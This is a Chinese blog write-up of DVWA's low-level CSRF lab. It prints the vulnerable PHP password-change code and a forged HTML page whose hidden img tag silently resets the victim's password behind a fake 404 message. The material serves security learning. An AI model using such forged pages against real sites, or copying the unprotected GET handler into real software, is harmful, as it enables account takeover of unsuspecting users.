DVWA CSRF模块

2018-07-25  本文已影响0人  yemansleep
CSRF

CSRF,全称Cross-site request forgery,即跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作。
CSRF,跟XSS攻击一样,存在巨大的危害性,你可以这样来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。 如下:其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用户。

1.low level

1.1源码分析

if( isset( $_GET[ 'Change' ] ) ) { 
    // Get input 
    $pass_new  = $_GET[ 'password_new' ]; 
    $pass_conf = $_GET[ 'password_conf' ]; 

    // Do the passwords match? 
    if( $pass_new == $pass_conf ) { 
        // They do! 
        $pass_new = mysql_real_escape_string( $pass_new ); 
        $pass_new = md5( $pass_new ); 

        // Update the database 
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

        // Feedback for the user 
        echo "<pre>Password Changed.</pre>"; 
    } 
    else { 
        // Issue with passwords matching 
        echo "<pre>Passwords did not match.</pre>"; 
    } 

    mysql_close(); 
} 

服务器通过接收一个GET请求来修改密码,只验证password_new==password_conf,如果相等则修改密码,没有任何的防CSRF机制。

1.2设置伪造网页,透过HTML的img标签,当用户点击这个页面,浏览器检测到img的路径,自动向服务器发送一个GET资源请求。

<!DOCTYPE html>
<html>
<head>
</head>
<body>
    <img src="http://192.168.93.104/DVWA/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change"alt="">
    <h1>404</h1>
    <h2>file not found.</h2>
</body>
</html>

上一篇 下一篇

猜你喜欢

热点阅读